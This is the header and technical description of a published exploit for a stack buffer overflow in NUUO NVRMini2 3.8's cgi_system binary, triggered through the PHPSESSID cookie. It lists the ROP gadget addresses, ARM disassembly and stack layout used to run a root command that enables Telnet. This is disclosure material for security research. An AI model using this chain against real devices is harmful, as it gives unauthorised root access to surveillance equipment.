# Exploit Title: NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)
# Date: 2018-09-17
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.nuuo.com/
# Device: NRVMini2
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Versions: 3.8.0 and below
# Tested Against: 03.07.0000.0011 and 03.08.0000.0005
# Tested on: Ubuntu and OSX
# CVE: N/A
# TRA: https://www.tenable.com/security/research/tra-2018-25
# Description:
# A stack buffer overflow exists in the cgi_system binary. The error occurs
# due to lack of bounds checking on the PHPSESSID value before and when
# it is passed to sprintf in order to generate the session id file name.
# As written, this exploit enables Telnet.
# Executes a command via the stack buffer overflow in cookie parsing. The command
# is executed via 'system' as root. The overlow logic is like so:
#
# address 1: 405e2e34 - load system into r3 and address 2 into lr
#
# .text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}
# .text:000D0E38 1E FF 2F E1 BX LR
#
# address 2: 406037cc - load the system command into r0. Jump to system.
#
# .text:000F17CC 0D 00 A0 E1 MOV R0, SP
# .text:000F17D0 33 FF 2F E1 BLX R3
#
# [ address 1 ][ r0 ][ r1 ][ r2 ][ r3 system ][ r11 ][ LR - addr2 ][ system command ]
